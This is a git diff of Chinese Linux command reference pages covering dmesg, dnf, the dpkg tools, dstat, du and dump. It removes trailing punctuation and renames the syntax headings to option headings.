a/Linux_man_cn/dmesg.md b/Linux_man_cn/dmesg.md index 7bd6444..10580de 100644 --- a/Linux_man_cn/dmesg.md +++ b/Linux_man_cn/dmesg.md @@ -5,9 +5,9 @@ dmesg ## 说明 -**dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。 +**dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里 -### 语法 +## 选项 ``` dmesg(选项) @@ -16,12 +16,12 @@ dmesg(选项) ``` --c:显示信息后,清除ring buffer中的内容; --s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小; --n:设置记录信息的层级。 +-c:显示信息后,清除ring buffer中的内容 +-s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小 +-n:设置记录信息的层级 ``` -### 实例 +## 实例 ``` [root@localhost ~]# dmesg | head diff --git a/Linux_man_cn/dnf.md b/Linux_man_cn/dnf.md index 59b02e6..64e75bd 100644 --- a/Linux_man_cn/dnf.md +++ b/Linux_man_cn/dnf.md @@ -5,7 +5,7 @@ dnf ## 说明 -**DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。 +**DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器 DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》 @@ -15,7 +15,7 @@ DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日 DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF . -1、为了安装 DNF ,您必须先安装并启用 epel-release 依赖。 +1、为了安装 DNF ,您必须先安装并启用 epel-release 依赖 在系统中执行以下命令: @@ -29,7 +29,7 @@ DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经 # yum install epel-release -y ``` -其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。 +其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西 2、使用 epel-release 依赖中的 YUM 命令来安装 DNF 包。在系统中执行以下命令: @@ -181,7 +181,7 @@ DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经 **删除无用孤立的软件包** -用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包。 +用处:当没有软件再依赖它们时,某一些用于解决特定软件依赖的软件包将会变得没有存在的意义,该命令就是用来自动移除这些没用的孤立软件包 ``` # dnf autoremove @@ -191,7 +191,7 @@ DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经 **删除缓存的无用软件包** -用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件。 +用处:在使用 DNF 的过程中,会因为各种原因在系统中残留各种过时的文件和未完成的编译工程。我们可以使用该命令来删除这些没用的垃圾文件 ``` # dnf clean all @@ -221,7 +221,7 @@ DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经 **查看 DNF 命令的执行历史** -用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载。 +用处:您可以使用该命令来查看您系统上 DNF 命令的执行历史。通过这个手段您可以知道在自您使用 DNF 开始有什么软件被安装和卸载 ``` # dnf history @@ -311,15 +311,15 @@ No match for available package: acpid-2.0.19-5.el7.x86_64 Error: Nothing to do. ``` -原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。 +原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报 ### 总结 DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下: -1. 在 DNF 中没有 –skip-broken 命令,并且没有替代命令供选择。 -2. 在 DNF 中没有判断哪个包提供了指定依赖的 resolvedep 命令。 -3. 在 DNF 中没有用来列出某个软件依赖包的 deplist 命令。 -4. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。 +1. 在 DNF 中没有 –skip-broken 命令,并且没有替代命令供选择 +2. 在 DNF 中没有判断哪个包提供了指定依赖的 resolvedep 命令 +3. 在 DNF 中没有用来列出某个软件依赖包的 deplist 命令 +4. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用 diff --git a/Linux_man_cn/dnsdomainname.md b/Linux_man_cn/dnsdomainname.md index 9c8e6b4..0dc419a 100644 --- a/Linux_man_cn/dnsdomainname.md +++ b/Linux_man_cn/dnsdomainname.md @@ -5,9 +5,9 @@ dnsdomainname ## 说明 -**dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名。 +**dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名 -### 语法 +## 选项 ``` dnsdomainname(选项) @@ -15,9 +15,9 @@ dnsdomainname(选项) --v:详细信息模式,输出指令执行的详细信息。 +-v:详细信息模式,输出指令执行的详细信息 -### 实例 +## 实例 ``` [root@AY1307311912260196fcZ ~]# dnsdomainname -v diff --git a/Linux_man_cn/domainname.md b/Linux_man_cn/domainname.md index 2ed10c1..583b82d 100644 --- a/Linux_man_cn/domainname.md +++ b/Linux_man_cn/domainname.md @@ -5,9 +5,9 @@ domainname ## 说明 -**domainname命令** 用于显示和设置系统的NIS域名。 +**domainname命令** 用于显示和设置系统的NIS域名 -### 语法 +## 选项 ``` domainname(选项)(参数) @@ -16,15 +16,15 @@ domainname(选项)(参数) ``` --v:详细信息模式; --F:指定读取域名信息的文件。 +-v:详细信息模式 +-F:指定读取域名信息的文件 ``` ### 参数 -NIS域名:指定要设置的NIS域名。 +NIS域名:指定要设置的NIS域名 -### 实例 +## 实例 ``` [root@AY1307311912260196fcZ ~]# domainname -v diff --git a/Linux_man_cn/dos2unix.md b/Linux_man_cn/dos2unix.md index 8f49da7..c515606 100644 --- a/Linux_man_cn/dos2unix.md +++ b/Linux_man_cn/dos2unix.md @@ -5,9 +5,9 @@ dos2unix ## 说明 -**dos2unix命令** 用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以`\r\n`作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示`^M`,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。 +**dos2unix命令** 用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以`\r\n`作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示`^M`,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令 -### 语法 +## 选项 ``` dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...] @@ -17,18 +17,18 @@ dos2unix [-hkqV] [-c convmode] [-o file ...] [-n infile outfile ...] ``` -k:保持输出文件的日期不变 --q:安静模式,不提示任何警告信息。 +-q:安静模式,不提示任何警告信息 -V:查看版本 --c:转换模式,模式有:ASCII, 7bit, ISO, Mac, 默认是:ASCII。 +-c:转换模式,模式有:ASCII, 7bit, ISO, Mac, 默认是:ASCII -o:写入到源文件 -n:写入到新文件 ``` ### 参数 -参数:需要转换到文件。 +参数:需要转换到文件 -### 实例 +## 实例 最简单的用法就是dos2unix直接跟上文件名: @@ -43,13 +43,13 @@ dos2unix file1 file2 file3 dos2unix -o file1 file2 file3 ``` -上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用`-n`参数。 +上面在转换时,都会直接在原来的文件上修改,如果想把转换的结果保存在别的文件,而源文件不变,则可以使用`-n`参数 ``` dos2unix oldfile newfile ``` -如果要保持文件时间戳不变,加上`-k`参数。所以上面几条命令都是可以加上`-k`参数来保持文件时间戳的。 +如果要保持文件时间戳不变,加上`-k`参数。所以上面几条命令都是可以加上`-k`参数来保持文件时间戳的 ``` dos2unix -k file diff --git a/Linux_man_cn/dpkg-deb.md b/Linux_man_cn/dpkg-deb.md index ebaf56b..31cb684 100644 --- a/Linux_man_cn/dpkg-deb.md +++ b/Linux_man_cn/dpkg-deb.md @@ -5,9 +5,9 @@ Debian Linux下的软件包管理工具 ## 说明 -**dpkg-deb命令** 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息。 +**dpkg-deb命令** 是Debian Linux下的软件包管理工具,它可以对软件包执行打包和解包操作以及提供软件包信息 -### 语法 +## 选项 ``` dpkg-deb(选项)(参数) @@ -16,22 +16,22 @@ dpkg-deb(选项)(参数) ``` --c:显示软件包中的文件列表; --e:将主控信息解压; --f:把字段内容打印到标准输出; --x:将软件包中的文件释放到指定目录下; --X:将软件包中的文件释放到指定目录下,并显示释放文件的详细过程; --w:显示软件包的信息; --l:显示软件包的详细信息; --R:提取控制信息和存档的清单文件; --b:创建debian软件包。 +-c:显示软件包中的文件列表 +-e:将主控信息解压 +-f:把字段内容打印到标准输出 +-x:将软件包中的文件释放到指定目录下 +-X:将软件包中的文件释放到指定目录下,并显示释放文件的详细过程 +-w:显示软件包的信息 +-l:显示软件包的详细信息 +-R:提取控制信息和存档的清单文件 +-b:创建debian软件包 ``` ### 参数 -文件:指定要操作的“.deb”软件包的全名或软件名。 +文件:指定要操作的“.deb”软件包的全名或软件名 -### 实例 +## 实例 解压程序文件: diff --git a/Linux_man_cn/dpkg-divert.md b/Linux_man_cn/dpkg-divert.md index 5d9b2bd..e2bfcbf 100644 --- a/Linux_man_cn/dpkg-divert.md +++ b/Linux_man_cn/dpkg-divert.md @@ -5,9 +5,9 @@ Debian Linux中创建并管理一个转向列表 ## 说明 -**dpkg-divert命令** 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。 +**dpkg-divert命令** 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具 -### 语法 +## 选项 ``` dpkg-divert(选项)(参数) @@ -16,18 +16,18 @@ dpkg-divert(选项)(参数) ``` ---add:添加一个转移文件; ---remove:删除一个转移文件; ---list:列出匹配的转移; ---truename:对应转移文件真实文件名; ---quidet:安静模式。 +--add:添加一个转移文件 +--remove:删除一个转移文件 +--list:列出匹配的转移 +--truename:对应转移文件真实文件名 +--quidet:安静模式 ``` ### 参数 -文件:指定转移文件名。 +文件:指定转移文件名 -### 实例 +## 实例 指定软件包wibble安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`: diff --git a/Linux_man_cn/dpkg-preconfigure.md b/Linux_man_cn/dpkg-preconfigure.md index f0bc98e..6278d83 100644 --- a/Linux_man_cn/dpkg-preconfigure.md +++ b/Linux_man_cn/dpkg-preconfigure.md @@ -5,9 +5,9 @@ Debian Linux中软件包安装之前询问问题 ## 说明 -**dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。 +**dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题 -### 语法 +## 选项 ``` dpkg-preconfigure(选项)(参数) @@ -16,16 +16,16 @@ dpkg-preconfigure(选项)(参数) ``` --f:选择使用的前端; --p:感兴趣的最低的优先级问题; ---apt:在apt模式下运行。 +-f:选择使用的前端 +-p:感兴趣的最低的优先级问题 +--apt:在apt模式下运行 ``` ### 参数 -软件包:指定“.deb”软件包。 +软件包:指定“.deb”软件包 -### 实例 +## 实例 导入debconf模板: diff --git a/Linux_man_cn/dpkg-query.md b/Linux_man_cn/dpkg-query.md index d0188a6..e83e4b7 100644 --- a/Linux_man_cn/dpkg-query.md +++ b/Linux_man_cn/dpkg-query.md @@ -5,9 +5,9 @@ Debian Linux中软件包的查询工具 ## 说明 -**dpkg-query命令** 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。 +**dpkg-query命令** 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息 -### 语法 +## 选项 ``` dpkg-query(选项)(参数) @@ -16,20 +16,20 @@ dpkg-query(选项)(参数) ``` --l:列出符合匹配模式的软件包; --s:查询软件包的状态信息; --L:显示软件包所安装的文件列表; --S:从安装的软件包中查询文件; --w:显示软件包信息; --c:显示软件包的控制文件路径; --p:显示软件包的细节。 +-l:列出符合匹配模式的软件包 +-s:查询软件包的状态信息 +-L:显示软件包所安装的文件列表 +-S:从安装的软件包中查询文件 +-w:显示软件包信息 +-c:显示软件包的控制文件路径 +-p:显示软件包的细节 ``` ### 参数 -软件包名称:指定需要查询的软件包。 +软件包名称:指定需要查询的软件包 -### 实例 +## 实例 查找文件file1在哪个包里安装: diff --git a/Linux_man_cn/dpkg-reconfigure.md b/Linux_man_cn/dpkg-reconfigure.md index ee4cd3a..06e445e 100644 --- a/Linux_man_cn/dpkg-reconfigure.md +++ b/Linux_man_cn/dpkg-reconfigure.md @@ -5,11 +5,11 @@ Debian Linux中重新配制一个已经安装的软件包 ## 说明 -**dpkg-reconfigure命令** 是Debian Linux中重新配置已经安装过的软件包,可以将一个或者多个已安装的软件包传递给此指令,它将询问软件初次安装后的配置问题。 +**dpkg-reconfigure命令** 是Debian Linux中重新配置已经安装过的软件包,可以将一个或者多个已安装的软件包传递给此指令,它将询问软件初次安装后的配置问题 -当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。 +当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置 -### 语法 +## 选项 ``` dpkg-reconfigure(选项)(参数) @@ -18,22 +18,22 @@ dpkg-reconfigure(选项)(参数) ``` --a:重新配置所有的软件包; --u或--unseen-only:仅显示未提过的问题; ---default-priority:使用默认优先级,而非“低”级; ---force:强制执行操作,需谨慎使用此选项; ---no-reload:不要轻易的重装模板(使用时请慎重考虑); --f或--frontend:指定 debconf 前端界面; --p或--priority:指定要显示的问题的最优先级; ---terse:开启简要模式。 +-a:重新配置所有的软件包 +-u或--unseen-only:仅显示未提过的问题 +--default-priority:使用默认优先级,而非“低”级 +--force:强制执行操作,需谨慎使用此选项 +--no-reload:不要轻易的重装模板(使用时请慎重考虑) +-f或--frontend:指定 debconf 前端界面 +-p或--priority:指定要显示的问题的最优先级 +--terse:开启简要模式 ``` ### 参数 -软件包名:需要重新配置的已安装的软件包。 +软件包名:需要重新配置的已安装的软件包 -### 实例 +## 实例 用于配置语言: diff --git a/Linux_man_cn/dpkg-split.md b/Linux_man_cn/dpkg-split.md index b079232..d36a61c 100644 --- a/Linux_man_cn/dpkg-split.md +++ b/Linux_man_cn/dpkg-split.md @@ -5,9 +5,9 @@ Debian Linux中将大软件包分割成小包 ## 说明 -**dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。 +**dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并 -### 语法 +## 选项 ``` dpkg-split(选项)(参数) @@ -16,19 +16,19 @@ dpkg-split(选项)(参数) ``` --S:设置分割后的每个小文件最大尺寸(以字节为单位); --s:分割软件包; --j<分块文件><分块文件>:把各个分块合并到一起; --I<分块文件>:显示分块文件的相关信息; --l:列出不匹配的部分; --dscard<文件名>:忽略不匹配的部分。 +-S:设置分割后的每个小文件最大尺寸(以字节为单位) +-s:分割软件包 +-j<分块文件><分块文件>:把各个分块合并到一起 +-I<分块文件>:显示分块文件的相关信息 +-l:列出不匹配的部分 +-dscard<文件名>:忽略不匹配的部分 ``` ### 参数 -软件包:指定需要分割的“.deb”软件包。 +软件包:指定需要分割的“.deb”软件包 -### 实例 +## 实例 把foo.deb分割出N个大小为460KB的文件: diff --git a/Linux_man_cn/dpkg-statoverride.md b/Linux_man_cn/dpkg-statoverride.md index 2d1f30a..898ab16 100644 --- a/Linux_man_cn/dpkg-statoverride.md +++ b/Linux_man_cn/dpkg-statoverride.md @@ -5,9 +5,9 @@ Debian Linux中覆盖文件的所有权和模式 ## 说明 -**dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。 +**dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效 -### 语法 +## 选项 ``` dpkg-statoverride(选项) @@ -16,13 +16,13 @@ dpkg-statoverride(选项) ``` --add:为文件添加一个改写; ---remove:为文件删除一个改写; ---list:显示所有改写列表; ---update:如果文件存在,则立刻执行改写操作。 +-add:为文件添加一个改写 +--remove:为文件删除一个改写 +--list:显示所有改写列表 +--update:如果文件存在,则立刻执行改写操作 ``` -### 实例 +## 实例 修改文件夹的权限属性: diff --git a/Linux_man_cn/dpkg-trigger.md b/Linux_man_cn/dpkg-trigger.md index 5d62adb..f25b4b4 100644 --- a/Linux_man_cn/dpkg-trigger.md +++ b/Linux_man_cn/dpkg-trigger.md @@ -5,9 +5,9 @@ Debian Linux下的软件包触发器 ## 说明 -**dpkg-trigger命令** 是Debian Linux下的软件包触发器。 +**dpkg-trigger命令** 是Debian Linux下的软件包触发器 -### 语法 +## 选项 ``` dpkg-trigger(选项)(参数) @@ -16,15 +16,15 @@ dpkg-trigger(选项)(参数) ``` ---check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。 ---help:显示帮助信息; ---admindir=<目录>:设置dpkg数据库所在的目录; ---no-act:仅用于测试,不执行任何操作; ---by-package=<软件包>:覆盖触发器等待者。 +--check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器 +--help:显示帮助信息 +--admindir=<目录>:设置dpkg数据库所在的目录 +--no-act:仅用于测试,不执行任何操作 +--by-package=<软件包>:覆盖触发器等待者 ``` ### 参数 -触发器名:指定触发器名称。 +触发器名:指定触发器名称 diff --git a/Linux_man_cn/dpkg.md b/Linux_man_cn/dpkg.md index d42fd88..8782fe8 100644 --- a/Linux_man_cn/dpkg.md +++ b/Linux_man_cn/dpkg.md @@ -3,21 +3,21 @@ ## 说明 ```info --i:安装软件包; --r:删除软件包; --P:删除软件包的同时删除其配置文件; --L:显示于软件包关联的文件; --l:显示已安装软件包列表; ---unpack:解开软件包; --c:显示软件包内文件列表; ---confiugre:配置软件包。 +-i:安装软件包 +-r:删除软件包 +-P:删除软件包的同时删除其配置文件 +-L:显示于软件包关联的文件 +-l:显示已安装软件包列表 +--unpack:解开软件包 +-c:显示软件包内文件列表 +--confiugre:配置软件包 ``` ### 参数 -Deb软件包:指定要操作的.deb软件包。 +Deb软件包:指定要操作的.deb软件包 -### 实例 +## 实例 ``` dpkg-query -W -f='${Installed-Size;10}\t${Package}\n' | sort -k1,1n | 显示所有在deb发布版上安装的包,并以KB包大小为序 diff --git a/Linux_man_cn/dris.md b/Linux_man_cn/dris.md index 811740d..0cecca7 100644 --- a/Linux_man_cn/dris.md +++ b/Linux_man_cn/dris.md @@ -5,9 +5,9 @@ dris ## 说明 -**dris命令** 用于显示和清空目录堆栈中的内容。 +**dris命令** 用于显示和清空目录堆栈中的内容 -### 语法 +## 选项 ``` dris(选项) @@ -16,9 +16,9 @@ dris(选项) ``` -+n:显示从左边算起第n笔的目录; --n:显示从右边算起第n笔的目录; --l:显示目录完整的记录。 ++n:显示从左边算起第n笔的目录 +-n:显示从右边算起第n笔的目录 +-l:显示目录完整的记录 ``` diff --git a/Linux_man_cn/dstat.md b/Linux_man_cn/dstat.md index d0f6288..a809aa0 100644 --- a/Linux_man_cn/dstat.md +++ b/Linux_man_cn/dstat.md @@ -2,7 +2,7 @@ ## 说明 -**dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入`dstat 3`即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如`dstat -c`即显示CPU的使用情况。 +**dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入`dstat 3`即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如`dstat -c`即显示CPU的使用情况 ### 下载安装 @@ -23,9 +23,9 @@ rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm ### 使用说明 -安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。 +安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况 -直接使用dstat,默认使用的是`-cdngy`参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。可以在最后指定显示一条信息的时间间隔,如`dstat 5`是没5s显示一条,`dstat 5 10`表示没5s显示一条,一共显示10条。 +直接使用dstat,默认使用的是`-cdngy`参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。可以在最后指定显示一条信息的时间间隔,如`dstat 5`是没5s显示一条,`dstat 5 10`表示没5s显示一条,一共显示10条 ``` [root@iZ23uulau1tZ ~]# dstat @@ -41,12 +41,12 @@ usr sys idl wai hiq siq| read writ| recv send| in out | int csw 下面对显示出来的部分信息作一些说明: -1. cpu:hiq、siq分别为硬中断和软中断次数。 -2. system:int、csw分别为系统的中断次数(interrupt)和上下文切换(context switch)。 +1. cpu:hiq、siq分别为硬中断和软中断次数 +2. system:int、csw分别为系统的中断次数(interrupt)和上下文切换(context switch) -其他的都很好理解。 +其他的都很好理解 -### 语法 +## 选项 ``` dstat [-afv] [options..] [delay [count]] @@ -55,30 +55,30 @@ dstat [-afv] [options..] [delay [count]] ### 常用选项 ``` --c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。 --C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息。 --d:显示磁盘读写数据大小。 --D hda,total:include hda and total。 --n:显示网络状态。 --N eth1,total:有多块网卡时,指定要显示的网卡。 --l:显示系统负载情况。 --m:显示内存使用情况。 --g:显示页面使用情况。 --p:显示进程状态。 --s:显示交换分区使用情况。 --S:类似D/N。 --r:I/O请求情况。 --y:系统状态。 ---ipc:显示ipc消息队列,信号等信息。 ---socket:用来显示tcp udp端口状态。 --a:此为默认选项,等同于-cdngy。 --v:等同于 -pmgdsc -D total。 ---output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中。 +-c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息 +-C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息 +-d:显示磁盘读写数据大小 +-D hda,total:include hda and total +-n:显示网络状态 +-N eth1,total:有多块网卡时,指定要显示的网卡 +-l:显示系统负载情况 +-m:显示内存使用情况 +-g:显示页面使用情况 +-p:显示进程状态 +-s:显示交换分区使用情况 +-S:类似D/N +-r:I/O请求情况 +-y:系统状态 +--ipc:显示ipc消息队列,信号等信息 +--socket:用来显示tcp udp端口状态 +-a:此为默认选项,等同于-cdngy +-v:等同于 -pmgdsc -D total +--output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中 ``` -当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档。 +当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档 -### 实例 +## 实例 如想监控swap,process,sockets,filesystem并显示监控的时间: @@ -108,11 +108,11 @@ dstat [-afv] [options..] [delay [count]] 26-07 09:25:36| 0 0 | 0 0 0|104 8 5 0 0| 736 6494 ``` -这样生成的csv文件可以用excel打开,然后生成图表。 +这样生成的csv文件可以用excel打开,然后生成图表 -通过`dstat --list`可以查看dstat能使用的所有参数,其中上面internal是dstat本身自带的一些监控参数,下面`/usr/share/dstat`中是dstat的插件,这些插件可以扩展dstat的功能,如可以监控电源(battery)、mysql等。 +通过`dstat --list`可以查看dstat能使用的所有参数,其中上面internal是dstat本身自带的一些监控参数,下面`/usr/share/dstat`中是dstat的插件,这些插件可以扩展dstat的功能,如可以监控电源(battery)、mysql等 -下面这些插件并不是都可以直接使用的,有的还依赖其他包,如想监控mysql,必须要装python连接mysql的一些包。 +下面这些插件并不是都可以直接使用的,有的还依赖其他包,如想监控mysql,必须要装python连接mysql的一些包 ``` [root@iZ23uulau1tZ ~]# dstat --list diff --git a/Linux_man_cn/du.md b/Linux_man_cn/du.md index 8de2f36..38d8dd9 100644 --- a/Linux_man_cn/du.md +++ b/Linux_man_cn/du.md @@ -7,21 +7,21 @@ ## 选项 ```markdown --a或-all 显示目录中个别文件的大小。 --b或-bytes 显示目录或文件大小时,以byte为单位。 --c或--total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。 --k或--kilobytes 以KB(1024bytes)为单位输出。 --m或--megabytes 以MB为单位输出。 --s或--summarize 仅显示总计,只列出最后加总的值。 --h或--human-readable 以K,M,G为单位,提高信息的可读性。 --x或--one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。 --L<符号链接>或--dereference<符号链接> 显示选项中所指定符号链接的源文件大小。 --S或--separate-dirs 显示个别目录的大小时,并不含其子目录的大小。 --X<文件>或--exclude-from=<文件> 在<文件>指定目录或文件。 ---exclude=<目录或文件> 略过指定的目录或文件。 --D或--dereference-args 显示指定符号链接的源文件大小。 --H或--si 与-h参数相同,但是K,M,G是以1000为换算单位。 --l或--count-links 重复计算硬件链接的文件。 +-a或-all 显示目录中个别文件的大小 +-b或-bytes 显示目录或文件大小时,以byte为单位 +-c或--total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和 +-k或--kilobytes 以KB(1024bytes)为单位输出 +-m或--megabytes 以MB为单位输出 +-s或--summarize 仅显示总计,只列出最后加总的值 +-h或--human-readable 以K,M,G为单位,提高信息的可读性 +-x或--one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过 +-L<符号链接>或--dereference<符号链接> 显示选项中所指定符号链接的源文件大小 +-S或--separate-dirs 显示个别目录的大小时,并不含其子目录的大小 +-X<文件>或--exclude-from=<文件> 在<文件>指定目录或文件 +--exclude=<目录或文件> 略过指定的目录或文件 +-D或--dereference-args 显示指定符号链接的源文件大小 +-H或--si 与-h参数相同,但是K,M,G是以1000为换算单位 +-l或--count-links 重复计算硬件链接的文件 ``` ## 实例 diff --git a/Linux_man_cn/dump.md b/Linux_man_cn/dump.md index 6648db9..fae5368 100644 --- a/Linux_man_cn/dump.md +++ b/Linux_man_cn/dump.md @@ -5,9 +5,9 @@ dump ## 说明 -**dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 +**dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件 -### 语法 +## 选项 ``` dump(选项)(参数) @@ -16,26 +16,26 @@ dump(选项)(参数) ``` --0123456789:备份的层级; --b<区块大小>:指定区块的大小,单位为KB; --B<区块数目>:指定备份卷册的区块数目; --c:修改备份磁带预设的密度与容量; --d<密度>:设置磁带的密度。单位为BPI; --f<设备名称>:指定备份设备; --h<层级>:当备份层级等于或大于指定的层级时,将不备份用户标示为“nodump”的文件; --n:当备份工作需要管理员介入时,向所有“operator”群组中的使用者发出通知; --s<磁带长度>:备份磁带的长度,单位为英尺; --T<日期>:指定备份的时间与日期; --u:备份完毕后,在/etc/dumpdates中记录备份的文件系统、层级、日期与时间等; --w:与-W类似,但仅显示需要备份的文件; --W:显示需要备份的文件及其最后一次备份的层级、时间与日期。 +-0123456789:备份的层级 +-b<区块大小>:指定区块的大小,单位为KB +-B<区块数目>:指定备份卷册的区块数目 +-c:修改备份磁带预设的密度与容量 +-d<密度>:设置磁带的密度。单位为BPI +-f<设备名称>:指定备份设备 +-h<层级>:当备份层级等于或大于指定的层级时,将不备份用户标示为“nodump”的文件 